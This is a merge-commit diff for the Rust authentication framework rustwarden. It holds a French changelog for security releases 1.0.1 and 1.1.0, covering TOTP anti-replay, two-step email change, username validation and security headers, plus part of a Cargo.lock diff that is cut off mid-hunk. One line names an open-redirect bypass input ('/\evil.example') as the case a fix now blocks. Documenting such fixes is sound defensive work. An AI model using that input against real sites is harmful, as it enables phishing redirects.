Merge branch 'secur_sept26' into 'main' Secur sept26 See merge request ebii/rustwarden!8

Eric BOUHANA <eric@ebii.fr> committé le 2026-09-23 15:51

5804249433606b126cfbdcebab897df7e82b5c51

2 parent(s)

98 fichiers modifiés +16858 -667
M CHANGELOG.md
+311 -0
@@ -5,6 +5,317 @@ All notable changes to this project are documented in this file.
5 5 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6 6 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7 7
8 +## [1.1.0] - 2026-09-18 — Security
9 +
10 +Minor de sécurité livrant les **RFC 0036 à 0040**, toutes passées **Accepted le
11 +2026-09-18** et implémentées dans `rustwarden-core`. Deux ajouts d'API publique
12 +(`types::Username`, `config::security_headers::SecurityHeadersConfig`) et quatre
13 +durcissements de comportement sur des chemins d'authentification existants.
14 +Fenêtre d'adoption **14 jours** pour les consommateurs
15 +([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9).
16 +
17 +> ⚠️ **Une migration SeaORM est à jouer** :
18 +> `m20260918_000010_totp_last_used_step` (colonne `user_totp.last_used_step`).
19 +> Avec `auto_migrate(true)` elle part au boot ; sinon `cargo run --bin migrate`.
20 +> **Jouer la migration avant de déployer le nouveau binaire.** Le modèle SeaORM
21 +> `user_totp` déclare `last_used_step`, donc SeaORM émet la liste de colonnes
22 +> explicite : sur un schéma pré-migration, **toute** requête sur `user_totp`
23 +> échoue — y compris `TotpService::is_totp_enabled`, appelée à **chaque** login.
24 +> Conséquence : un réplica 1.1.0 sur un schéma pré-migration fait échouer
25 +> **tous les logins en HTTP 500**, pas seulement ceux des comptes 2FA, tant que
26 +> la colonne `user_totp.last_used_step` est absente.
27 +> Procédure complète : [`docs/MIGRATION_GUIDE.md`](docs/MIGRATION_GUIDE.md)
28 +> § *2026-09-18 — RFC 0036-0040 (1.1.0)*.
29 +
30 +Le versioning **minor** (et non patch) reflète les deux API ajoutées ; la section
31 +`Security` ci-dessous liste les changements de comportement, qui sont techniquement
32 +non-breaking à la compilation mais peuvent **refuser des entrées auparavant
33 +acceptées** (usernames hors charset, login sans e-mail vérifié via appel service).
34 +
35 +### Added
36 +
37 +- **Newtype `Username`** ([`docs/rfcs/0036-username-charset-validation.md`](docs/rfcs/0036-username-charset-validation.md)) —
38 + `rustwarden_core::types::Username`, re-exporté au prelude.
39 + `Username::parse(&str) -> Result<Username, AppError>` applique des règles
40 + GitHub-like : 3 à 39 caractères après trim, charset `[a-z0-9-]`, pas de `--`,
41 + pas de `-` en tête ni en queue, **majuscules rejetées** (aucun fold silencieux :
42 + `Alice` échoue, il ne devient pas `alice`), et noms réservés refusés
43 + (`types::team_slug::RESERVED` + `EXTRA_RESERVED` = `me`, `explore`).
44 + Accesseurs `as_str()`, `into_inner()`, `Display`, `Serialize`/`Deserialize`
45 + transparents. Calqué sur `TeamSlug`.
46 +- **`SecurityHeadersConfig`** ([`docs/rfcs/0039-security-headers-config.md`](docs/rfcs/0039-security-headers-config.md)) —
47 + `rustwarden_core::config::security_headers::SecurityHeadersConfig`, re-exporté au
48 + prelude, avec la méthode builder `RustwardenApp::builder().security_headers(cfg)`.
49 + Champs : `content_security_policy: Cow<'static, str>`,
50 + `cross_origin_opener_policy: Option<Cow<'static, str>>`,
51 + `cross_origin_resource_policy: Option<Cow<'static, str>>`, plus le helper
52 + `with_same_origin_isolation()` (COOP + CORP à `same-origin`).
53 + Constantes `DEFAULT_CONTENT_SECURITY_POLICY` et `CSP_WITHOUT_UNSAFE_EVAL`.
54 + **Le défaut est bit-identique à 1.0.1** : même CSP (`'unsafe-inline'` et
55 + `'unsafe-eval'` conservés pour Alpine.js), COOP/CORP non émis. Un consommateur
56 + qui n'appelle jamais `.security_headers(..)` ne voit **aucun** changement d'en-tête.
57 + `CSP_WITHOUT_UNSAFE_EVAL` est fournie mais **non utilisée** par `Default` : le
58 + durcissement du défaut est une **Phase 2** ultérieure, après la migration Alpine CSP
59 + ([`docs/plans/PLAN_CSP_HTMX.md`](docs/plans/PLAN_CSP_HTMX.md)).
60 +- **`EmailChangeService` et la table `pending_email_changes`**
61 + ([`docs/rfcs/0041-pending-email-changes.md`](docs/rfcs/0041-pending-email-changes.md)) —
62 + `rustwarden_core::services::email_change_service::EmailChangeService`, le
63 + changement d'adresse en **deux temps**. Méthodes publiques `new`,
64 + `with_i18n`, `request_change`, `confirm_change`, `report_suspicious`,
65 + `admin_force_change`, `cleanup_expired`, plus les lectures sans effet de bord
66 + `inspect_confirmation_token` / `inspect_report_token`.
67 + Nouvelle migration `m20260919_000011_pending_email_changes` (table
68 + `pending_email_changes` : `token_hash` et `report_token_hash` uniques en
69 + SHA-256, `expires_at`, `used_at`, `reported_at`, FK `ON DELETE CASCADE`).
70 + La même migration **élargit la contrainte `chk_email_queue_email_type`** aux
71 + quatre nouveaux types (`email_change_validation`, `email_change_notice`,
72 + `email_change_reported`, `email_change_by_admin`) : sans cet élargissement le
73 + premier `INSERT` du flux échouerait. La contrainte reste fermée — un
74 + `email_type` inconnu est toujours rejeté — et le `down()` ne la resserre que
75 + si plus aucune ligne n'utilise ces types, pour ne jamais détruire
76 + d'historique d'envoi.
77 + Nouveau modèle `models::pending_email_change`, nouveau processeur de purge
78 + `PendingEmailChangeCleanupProcessor` (prelude) — comme les processeurs
79 + existants, **`app.rs` ne le démarre pas** : appelez `.start()` vous-même.
80 + Durée de validité du lien : `email_validation_expiration_hours`, le réglage
81 + déjà utilisé par la validation d'adresse.
82 +- **Cinq routes de changement d'adresse** (canal machine, `auth_api_routes()`) —
83 + `POST /api/v1/auth/email-change` (Bearer + mot de passe courant),
84 + puis `GET`/`POST` sur `/api/v1/auth/email-change/confirm/{token}` et
85 + `/api/v1/auth/email-change/report/{token}`. Les liens envoyés par e-mail
86 + ouvrent une **page interstitielle** : le `GET` n'a aucun effet de bord et rend
87 + un formulaire, c'est le `POST` du bouton qui agit — une passerelle
88 + anti-phishing qui précharge les liens ne peut donc pas confirmer un changement
89 + d'adresse à la place de l'utilisateur. Ces pages sont du HTML minimal
90 + autoportant produit par le core (ni Askama, ni `rustwarden-ui`, ni JavaScript,
91 + ni ressource externe), donc montables en headless. Quatre nouveaux templates
92 + d'e-mail et deux nouvelles sections de locales (`email_change`,
93 + `email_change_page`) dans les **six** langues.
94 +
95 +### Changed
96 +
97 +- `RegisterRequest.username` (`POST /api/v1/auth/register`) passe de
98 + `#[validate(length(min = 3, max = 64))]` à `max = 39`, et le handler appelle
99 + `Username::parse` après `validate()` (défense en profondeur — la porte de
100 + validation unique reste `UserService::create_user`).
101 +- `UserService::create_user` valide désormais son argument `username` via
102 + `Username::parse`. Un chemin bootstrap `pub(crate) create_user_allow_reserved`
103 + (charset + longueur, mais noms réservés autorisés) est réservé à
104 + `ensure_default_admin`, pour que `ADMIN_USERNAME=admin` continue de booter.
105 + `AdminConfig::validate` délègue au même parse permissif.
106 +- `OAuthService::generate_unique_username` produit des candidats conformes au
107 + nouveau charset : minuscules, `[a-z0-9]` uniquement, base tronquée à 30
108 + caractères (marge pour les suffixes `-NNN` / `-<hex8>`), suffixe `-user` si la
109 + base tombe sur un nom réservé. Les séparateurs sont des `-` (plus de `_`).
110 +- `rustwarden-ui` — `handlers::user_handler::CreateUserRequest.username` passe à
111 + `#[validate(length(min = 3, max = 39))]`.
112 +- `rustwarden-ui` — **les formulaires livrés appliquent enfin la RFC 0036
113 + côté client** : `templates/profile.html` passe de
114 + `maxlength="50" pattern="[a-zA-Z0-9_-]+"` à `maxlength="39" pattern="[a-z0-9-]+"`,
115 + le champ username du formulaire d'inscription de `templates/login.html`
116 + (`maxlength="50"`, aucun pattern) reçoit les mêmes contraintes, et
117 + `templates/admin/user_form.html` (mode `create`), qui n'avait **ni** pattern
118 + **ni** `maxlength`, les reçoit également. Les six locales
119 + (`fr`, `en`, `es`, `it`, `de`, `pt`) sont corrigées : `profile.username_pattern`
120 + et `profile.username_help` décrivaient une règle devenue fausse (« lettres,
121 + chiffres, tirets et underscores », « 3-50 caractères ») et annoncent désormais
122 + « minuscules, chiffres et tirets uniquement, 3 à 39 caractères » ; deux clés
123 + sont ajoutées (`login.username_pattern_register`,
124 + `admin.user_form.username_pattern`) et les placeholders d'exemple contenant un
125 + `_` sont passés au `-`. Sans cela l'UI de référence laissait saisir des valeurs
126 + que le serveur refuse en 400.
127 +- `rustwarden-cli` — le wizard `start-project` valide désormais le **username
128 + admin** saisi (`ask_admin_config`) contre les règles RFC 0036 : minuscules,
129 + chiffres et tirets uniquement, 3 à 39 caractères, pas de `--`, pas de tiret en
130 + tête ni en queue. Les noms réservés (`admin`) restent acceptés, le bootstrap
131 + passant par `parse_allow_reserved`. Auparavant une saisie comme `Admin`,
132 + `admin_user` ou `jean.dupont` générait un projet dont le premier `build()`
133 + échouait sur `username_format` sans message actionnable.
134 +- `rustwarden-ui` — `PUT /settings/profile` ne traite plus du tout l'e-mail :
135 + l'alerte `account_modified` et l'appel applicatif à
136 + `PasswordChangeService::invalidate_on_email_change` ont été retirés, le core
137 + s'en charge au moment de la **confirmation** (RFC 0041). L'alerte « username
138 + modifié » n'est envoyée que sur un **vrai** rename (le formulaire de profil
139 + renvoyant tous les champs, un echo ne déclenche plus rien). Le champ e-mail du
140 + formulaire continue de passer tant qu'il renvoie l'adresse courante ; une
141 + **vraie** modification remonte désormais l'erreur `Validation` du core qui
142 + renvoie vers `POST /api/v1/auth/email-change`. Les écrans dédiés (demande en
143 + cours, annulation) sont un chantier UI séparé.
144 +
145 +### Security
146 +
147 +- **Anti-rejeu TOTP persistant**
148 + ([`docs/rfcs/0037-totp-last-used-step.md`](docs/rfcs/0037-totp-last-used-step.md)) —
149 + nouvelle migration `m20260918_000010_totp_last_used_step` ajoutant
150 + `user_totp.last_used_step BIGINT NULL`. `TotpService::verify_code` et
151 + `verify_and_enable` consomment le **pas qui a réellement matché**
152 + (`matching_totp_step`, skew ±1) via un compare-and-set SeaORM
153 + (`UPDATE user_totp SET last_used_step = $step WHERE user_id = $id AND
154 + (last_used_step IS NULL OR last_used_step < $step)`, succès ssi
155 + `rows_affected == 1`). Un rejeu renvoie `Ok(false)` — sémantique identique à un
156 + code invalide, donc pas d'oracle de rejeu. Ferme le rejeu **inter-réplicas** que
157 + la garde in-process de 1.0.1 ne couvrait pas (une map par processus). La garde
158 + in-process est conservée en défense en profondeur, après le CAS. Les erreurs DB
159 + remontent en `AppError` : le garde ne fail jamais open.
160 + `NULL` signifie « aucun pas consommé depuis la migration » : le premier code
161 + présenté après migration est toujours accepté (grandfathering des lignes existantes).
162 +- **Changement d'adresse e-mail en deux temps** (BREAKING pour les appelants de
163 + `update_profile` — voir § Migration)
164 + ([`docs/rfcs/0041-pending-email-changes.md`](docs/rfcs/0041-pending-email-changes.md)) —
165 + `UserService::update_profile` **n'écrit plus jamais** `users.email`. Un vrai
166 + changement renvoie une `AppError::Validation` explicite qui renvoie vers
167 + `EmailChangeService::request_change` ; un echo de l'adresse courante reste un
168 + no-op complet (les formulaires qui resoumettent tous les champs continuent de
169 + fonctionner). Le nouveau chemin :
170 + 1. `request_change` re-authentifie l'utilisateur avec son **mot de passe
171 + courant**, vérifie l'unicité et le format, consomme toute demande pendante
172 + du même compte, écrit une ligne `pending_email_changes` et met **deux**
173 + mails en file : le lien de confirmation vers la **nouvelle** boîte, et un
174 + avis vers l'**ancienne** portant un lien de **signalement**. `users.email`
175 + et `email_verified` ne bougent pas.
176 + 2. La confirmation écrit la nouvelle adresse **déjà vérifiée**
177 + (`email_verified = true`), **révoque tous les refresh tokens** du compte
178 + (les sessions en cours tombent) et invalide les demandes de changement de
179 + mot de passe pendantes. Trace `audit_logs` `email_changed`.
180 + 3. Le signalement trace en `audit_logs` (niveau WARN) et alerte tous les
181 + administrateurs ; il ne **bloque pas** le changement — la boîte qui reçoit
182 + ce lien peut alerter, pas décider.
183 + Les envois ne sont **pas** best-effort : si la file d'e-mails est
184 + indisponible, `request_change` échoue au lieu de laisser une demande dont le
185 + lien n'arrivera jamais. Rien n'est écrit sur le compte dans ce cas.
186 + Limiteur dédié : **3 demandes par heure et par utilisateur**
187 + (`email_change:{user_id}`, budget distinct de `email_verify` et `pwd_reset`),
188 + plus le budget IP existant sur `POST /api/v1/auth/email-change`. Les adresses
189 + sont masquées dans les logs, l'audit et les hooks (`jo***@ex***`), y compris
190 + dans le corps de réponse de la demande.
191 + **Ce que cela ferme par rapport à la v1 annoncée (RFC 0038, jamais publiée,
192 + désormais Superseded)** : plus de lock-out sur faute de frappe — une adresse
193 + mal saisie ne reçoit simplement jamais de clic, la demande expire et le compte
194 + n'a jamais bougé ; plus de fenêtre « adresse changée mais session toujours
195 + valide » ; plus de couplage avec la politique `validation_email_required` de
196 + la RFC 0040.
197 + **Recours opérateur** : `admin_force_change` remplace le changement d'adresse
198 + par `PUT /admin/users/{id}`. Elle exige un acteur portant le rôle `admin`
199 + (sinon `AppError::Forbidden`), écrit l'adresse sans confirmation, révoque les
200 + sessions de la cible, notifie les deux boîtes et trace en `audit_logs`
201 + (`email_changed_by_admin`, WARN) + `on_audit_event`. Le hook
202 + `on_email_verified` n'est **pas** émis : il n'y a eu aucune preuve de
203 + possession.
204 + **Événements `on_audit_event` émis** — les trois nomment leur cible, un
205 + consommateur peut donc router sur `target` sans distinguer les chemins :
206 + `user.email_changed` (`actor_id` et `target` = le compte, chemin libre-service),
207 + `user.email_change_reported` (`actor_id = None` — le signalement vient d'un
208 + lien de mail, pas d'une session — `target` = le compte),
209 + `user.email_changed_by_admin` (`actor_id` = l'opérateur, `target` = la cible).
210 + Adresses masquées dans les trois `metadata`.
211 + **Limite connue** : un utilisateur qui a perdu **à la fois** son mot de passe
212 + et l'accès à son adresse courante ne se débloque plus seul — c'est un recours
213 + administrateur après vérification d'identité hors bande. La faute de frappe à
214 + l'**inscription** relève du même recours : `register` écrit l'adresse saisie
215 + sans double vérification, ce flux n'est pas traité par cette RFC.
216 + Détail : [`docs/developer-guide/07-security-model.md`](docs/developer-guide/07-security-model.md)
217 + § *Cycle de vie de l'e-mail vérifié*.
218 +- **Charset `username` appliqué aux frontières d'écriture**
219 + ([`docs/rfcs/0036-username-charset-validation.md`](docs/rfcs/0036-username-charset-validation.md)) —
220 + `UserService::create_user`, `UserService::update_profile` et
221 + `POST /api/v1/auth/register` refusent les identifiants hors charset (backticks,
222 + `_`, `.`, majuscules, noms réservés). Réduit la surface d'injection dans les
223 + chemins d'URL, les templates et les logs.
224 + **Aucun `CHECK` SQL, aucune migration, aucun rewrite** : les comptes existants
225 + hors charset restent utilisables et **continuent de se connecter**.
226 + `update_profile` ne valide que sur un **vrai rename** — un client qui renvoie le
227 + username courant (y compris un handle grandfathered) est traité en no-op.
228 +- **`AuthService::authenticate_user` honore `validation_email_required`**
229 + ([`docs/rfcs/0040-authenticate-user-email-verified.md`](docs/rfcs/0040-authenticate-user-email-verified.md)) —
230 + le contrôle « e-mail vérifié » a été **déplacé** du handler HTTP `login` vers le
231 + service. Mêmes clés de réglage (`validation_email_required`, alias legacy
232 + `validation_email_requise`), même défaut `true`, même comportement fail-closed
233 + (une erreur de lookup vaut « vérification requise »), **même message d'erreur
234 + français** et même `AppError::Validation` (HTTP 400). Le contrôle intervient
235 + **après** la vérification du mot de passe, donc pas d'oracle « le compte existe
236 + mais n'est pas vérifié ». Conséquence : une app consommatrice qui appelait le
237 + **service** (SSR maison, handler custom) ne peut plus contourner la politique.
238 + `AuthService::verify_credentials` reste la primitive « mot de passe seul »
239 + (utilisée par le re-prompt TOTP) et n'applique **pas** ce contrôle.
240 + **Effet de bord documenté (décision v1)** : le blocage n'émet plus le hook
241 + `on_audit_event` / `auth.login_blocked` — la ligne `audit_logs` est toujours
242 + écrite par `AuthLoggingService::log_blocked_login`, mais le paramètre `hooks`
243 + vaut `None` depuis le service.
244 +
245 +### Migration
246 +
247 +1. **Sauvegarder** : `pg_dump` avant toute opération.
248 +2. `cargo run -p rustwarden-cli -- update-project` (ou vendor manuel) pour
249 + récupérer `rustwarden-core` / `rustwarden-ui` et les docs framework-owned
250 + (`docs/SERVICES_REFERENCE.md`, `docs/MIGRATION_GUIDE.md`).
251 +3. Aligner les pins de dépendances de `crates/rustwarden-core/Cargo.toml`
252 + (`sea-orm` / `sea-orm-migration` 2.0.0, `sea-bae = "0.2.2"`,
253 + `validator_derive = "0.20.1"`), puis `cargo update`.
254 +4. **Jouer la migration avant de déployer le binaire** :
255 + `cargo run --bin migrate` (ou `auto_migrate(true)` sur un déploiement
256 + mono-instance).
257 +5. **Rediriger les appels qui changeaient l'e-mail** (RFC 0041) :
258 + `grep -rn "update_profile" src/` — tout appel passant une **nouvelle**
259 + adresse doit basculer sur `EmailChangeService::request_change` (chemin
260 + utilisateur) ou `EmailChangeService::admin_force_change` (chemin opérateur,
261 + en remplacement de `PUT /admin/users/{id}` pour l'adresse). Un echo de
262 + l'adresse courante reste un no-op : rien à changer pour les formulaires qui
263 + resoumettent tous les champs. Vérifier **avant** le bump que SMTP et le
264 + worker `email_queue` tournent : sans file fonctionnelle, `request_change`
265 + échoue volontairement au lieu d'écrire une adresse non prouvée.
266 +6. `cargo clippy --workspace -- -D warnings` puis les smoke tests auth
267 + (login, register, changement d'e-mail, 2FA).
268 +7. Retirer les workarounds locaux devenus redondants : newtype `Username` maison,
269 + overlay `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`,
270 + tout patch re-vérifiant `email_verified` après `authenticate_user`, tout code
271 + applicatif qui, après un changement d'adresse, remettait `email_verified` à la
272 + main, enqueuait un mail de validation / une alerte `account_modified`, ou
273 + appelait `PasswordChangeService::invalidate_on_email_change`.
274 +8. Facultatif : démarrer la purge des demandes expirées — le framework ne le
275 + fait pas. `PendingEmailChangeCleanupProcessor::new(db.clone()).start();`
276 + (rétention 30 jours après expiration, constante de code, aucune variable
277 + d'environnement). Sans ce démarrage, une purge opportuniste limitée à
278 + l'utilisateur courant s'exécute à chaque nouvelle demande.
279 +
280 +Table **Avant / Après** par RFC, greps de repérage et pièges connus :
281 +[`docs/MIGRATION_GUIDE.md`](docs/MIGRATION_GUIDE.md)
282 +§ *2026-09-18 — RFC 0036-0040 (1.1.0)*.
283 +
284 +## [1.0.1] - 2026-09-18 — Security
285 +
286 +Patch de sécurité (pas de nouvelle API publique). Fenêtre d'adoption **14 jours**
287 +pour les consommateurs ([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9).
288 +
289 +### Security
290 +
291 +- **E-3 / IP rate-limit** — `run()` sert via `into_make_service_with_connect_info` ;
292 + layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, 2FA
293 + verify et resend-verification. Le budget n'est plus global `auth:unknown`.
294 +- **E-3 / TOTP** — plafond *somme* des tentatives par utilisateur (15 / 15 min)
295 + au lieu de compter les challenges saturés ; anti-rejeu in-process du même
296 + pas TOTP (TTL 90 s). Pas de migration `last_used_step` (RFC 0037).
297 +- **C-7** — `JWT_SECRET` rejette le placeholder CLI
298 + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (égalité exacte, pas de `contains`).
299 + `AdminConfig::validate` refuse `password` et
300 + `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT`. `.env.example` du wizard n'embarque plus
301 + ces littéraux.
302 +- **M-2** — `PasswordResetService::reset_password` applique
303 + `validate_password_complexity` avant le hash et avant de consommer le token.
304 +- **M-3** — limiteurs reset mot de passe / validation email partagés (`OnceLock`)
305 + au lieu d'une instance par requête ; éviction LRU au cap au lieu d'un 429 sur
306 + une clé neuve.
307 +- **M-8** — vérification des backup codes TOTP dans `spawn_blocking`.
308 +- **Force-2FA / lookup / blacklist** — fail-closed : erreur DB TOTP ou lookup
309 + utilisateur → 503 ; user absent → non authentifié ; blacklist JWT en erreur →
310 + refus. Plus de `unwrap_or(false)` / `is_ok_and` fail-open sur ces chemins.
311 +- **Admin bootstrap** — `AdminConfig::validate` + `PasswordRules` uniquement sur
312 + le chemin de *création* (un `ADMIN_PASSWORD` faible résiduel ne casse plus le
313 + boot si un admin existe déjà).
314 +- **sanitize_redirect** — normalisation `\` → `/` pour bloquer `/\evil.example`.
315 +- **Dépendances** — `bcrypt` 0.19.3, `rustls` 0.23.45, `h2` 0.4.19 (lockfile).
316 +- **PostgreSQL dev** — bind `127.0.0.1:5432` ; `POSTGRES_PASSWORD` obligatoire
317 + (`:?`, plus de fallback `pass3ord`).
318 +
8 319 ## [Unreleased]
9 320
10 321 ### Fixed
M Cargo.lock
+110 -41
@@ -75,7 +75,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
75 75 checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
76 76 dependencies = [
77 77 "cfg-if",
78 - "cipher",
78 + "cipher 0.4.4",
79 79 "cpufeatures 0.2.17",
80 80 ]
81 81
@@ -87,7 +87,7 @@ checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
87 87 dependencies = [
88 88 "aead",
89 89 "aes",
90 - "cipher",
90 + "cipher 0.4.4",
91 91 "ctr",
92 92 "ghash",
93 93 "subtle",
@@ -647,6 +647,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
647 647 checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
648 648
649 649 [[package]]
650 +name = "base64"
651 +version = "0.23.1"
652 +source = "registry+https://github.com/rust-lang/crates.io-index"
653 +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5"
654 +
655 +[[package]]
650 656 name = "base64ct"
651 657 version = "1.8.3"
652 658 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -663,11 +669,11 @@ dependencies = [
663 669
664 670 [[package]]
665 671 name = "bcrypt"
666 -version = "0.19.0"
672 +version = "0.19.3"
667 673 source = "registry+https://github.com/rust-lang/crates.io-index"
668 -checksum = "523ab528ce3a7ada6597f8ccf5bd8d85ebe26d5edf311cad4d1d3cfb2d357ac6"
674 +checksum = "a0cd0bd35a28836d528d2b58ad499bc3c5641d59379421b1be9eeb0c2f2b912a"
669 675 dependencies = [
670 - "base64 0.22.1",
676 + "base64 0.23.1",
671 677 "blowfish",
672 678 "getrandom 0.4.2",
673 679 "subtle",
@@ -735,12 +741,12 @@ dependencies = [
735 741
736 742 [[package]]
737 743 name = "blowfish"
738 -version = "0.9.1"
744 +version = "0.10.0"
739 745 source = "registry+https://github.com/rust-lang/crates.io-index"
740 -checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
746 +checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298"
741 747 dependencies = [
742 748 "byteorder",
743 - "cipher",
749 + "cipher 0.5.2",
744 750 ]
745 751
746 752 [[package]]
@@ -888,7 +894,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
888 894 checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
889 895 dependencies = [
890 896 "crypto-common 0.1.7",
891 - "inout",
897 + "inout 0.1.4",
898 +]
899 +
900 +[[package]]
901 +name = "cipher"
902 +version = "0.5.2"
903 +source = "registry+https://github.com/rust-lang/crates.io-index"
904 +checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c"
905 +dependencies = [
906 + "crypto-common 0.2.2",
907 + "inout 0.2.2",
892 908 ]
893 909
894 910 [[package]]
@@ -1188,7 +1204,7 @@ version = "0.9.2"
1188 1204 source = "registry+https://github.com/rust-lang/crates.io-index"
1189 1205 checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
1190 1206 dependencies = [
1191 - "cipher",
1207 + "cipher 0.4.4",
1192 1208 ]
1193 1209
1194 1210 [[package]]
@@ -1248,6 +1264,16 @@ dependencies = [
1248 1264 ]
1249 1265
1250 1266 [[package]]
1267 +name = "darling"
1268 +version = "0.23.0"
1269 +source = "registry+https://github.com/rust-lang/crates.io-index"
1270 +checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d"
1271 +dependencies = [
1272 + "darling_core 0.23.0",
1273 + "darling_macro 0.23.0",
1274 +]
1275 +
1276 +[[package]]
1251 1277 name = "darling_core"
1252 1278 version = "0.20.11"
1253 1279 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1276,6 +1302,19 @@ dependencies = [
1276 1302 ]
1277 1303
1278 1304 [[package]]
1305 +name = "darling_core"
1306 +version = "0.23.0"
1307 +source = "registry+https://github.com/rust-lang/crates.io-index"
1308 +checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0"
1309 +dependencies = [
1310 + "ident_case",
1311 + "proc-macro2",
1312 + "quote",
1313 + "strsim",
1314 + "syn 2.0.117",
1315 +]
1316 +
1317 +[[package]]
1279 1318 name = "darling_macro"
1280 1319 version = "0.20.11"
1281 1320 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1298,6 +1337,17 @@ dependencies = [
1298 1337 ]
1299 1338
1300 1339 [[package]]
1340 +name = "darling_macro"
1341 +version = "0.23.0"
1342 +source = "registry+https://github.com/rust-lang/crates.io-index"
1343 +checksum = "ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d"
1344 +dependencies = [
1345 + "darling_core 0.23.0",
1346 + "quote",
1347 + "syn 2.0.117",
1348 +]
1349 +
1350 +[[package]]
1301 1351 name = "dashmap"
1302 1352 version = "6.1.0"
1303 1353 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1625,7 +1675,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
1625 1675 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
1626 1676 dependencies = [
1627 1677 "libc",
1628 - "windows-sys 0.61.2",
1678 + "windows-sys 0.59.0",
1629 1679 ]
1630 1680
1631 1681 [[package]]
@@ -2011,9 +2061,9 @@ dependencies = [
2011 2061
2012 2062 [[package]]
2013 2063 name = "h2"
2014 -version = "0.4.13"
2064 +version = "0.4.19"
2015 2065 source = "registry+https://github.com/rust-lang/crates.io-index"
2016 -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54"
2066 +checksum = "ef8e5e5a340588f4452631496976cf8636d4a7ecf600239fdc27615d2530bc16"
2017 2067 dependencies = [
2018 2068 "atomic-waker",
2019 2069 "bytes",
@@ -2324,7 +2374,7 @@ dependencies = [
2324 2374 "libc",
2325 2375 "percent-encoding",
2326 2376 "pin-project-lite",
2327 - "socket2 0.6.3",
2377 + "socket2 0.5.10",
2328 2378 "system-configuration",
2329 2379 "tokio",
2330 2380 "tower-layer",
@@ -2551,6 +2601,15 @@ dependencies = [
2551 2601 ]
2552 2602
2553 2603 [[package]]
2604 +name = "inout"
2605 +version = "0.2.2"
2606 +source = "registry+https://github.com/rust-lang/crates.io-index"
2607 +checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7"
2608 +dependencies = [
2609 + "hybrid-array",
2610 +]
2611 +
2612 +[[package]]
2554 2613 name = "ipnet"
2555 2614 version = "2.12.0"
2556 2615 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -3027,7 +3086,7 @@ version = "0.50.3"
3027 3086 source = "registry+https://github.com/rust-lang/crates.io-index"
3028 3087 checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5"
3029 3088 dependencies = [
3030 - "windows-sys 0.61.2",
3089 + "windows-sys 0.59.0",
3031 3090 ]
3032 3091
3033 3092 [[package]]
@@ -3127,7 +3186,7 @@ version = "5.0.0"
3127 3186 source = "registry+https://github.com/rust-lang/crates.io-index"
3128 3187 checksum = "51e219e79014df21a225b1860a479e2dcd7cbd9130f4defd4bd0e191ea31d67d"
3129 3188 dependencies = [
3130 - "base64 0.22.1",
3189 + "base64 0.21.7",
3131 3190 "chrono",
3132 3191 "getrandom 0.2.17",
3133 3192 "http",
@@ -3554,25 +3613,25 @@ dependencies = [
3554 3613 ]
3555 3614
3556 3615 [[package]]
3557 -name = "proc-macro-error-attr2"
3558 -version = "2.0.0"
3616 +name = "proc-macro-error-attr3"
3617 +version = "3.1.1"
3559 3618 source = "registry+https://github.com/rust-lang/crates.io-index"
3560 -checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
3619 +checksum = "9e564d14133360e1ae169ffde5da25881b5fa47261665b8e5713c212c27799da"
3561 3620 dependencies = [
3562 3621 "proc-macro2",
3563 3622 "quote",
3564 3623 ]
3565 3624
3566 3625 [[package]]
3567 -name = "proc-macro-error2"
3568 -version = "2.0.1"
3626 +name = "proc-macro-error3"
3627 +version = "3.1.1"
3569 3628 source = "registry+https://github.com/rust-lang/crates.io-index"
3570 -checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
3629 +checksum = "8f0d4471b3436c22106b21913b1dda531558918ae9b7ec55d58aa84b43552233"
3571 3630 dependencies = [
3572 - "proc-macro-error-attr2",
3631 + "proc-macro-error-attr3",
3573 3632 "proc-macro2",
3574 3633 "quote",
3575 - "syn 2.0.117",
3634 + "syn 3.0.6",
3576 3635 ]
3577 3636
3578 3637 [[package]]
@@ -3653,7 +3712,7 @@ dependencies = [
3653 3712 "quinn-udp",
3654 3713 "rustc-hash",
3655 3714 "rustls",
3656 - "socket2 0.6.3",
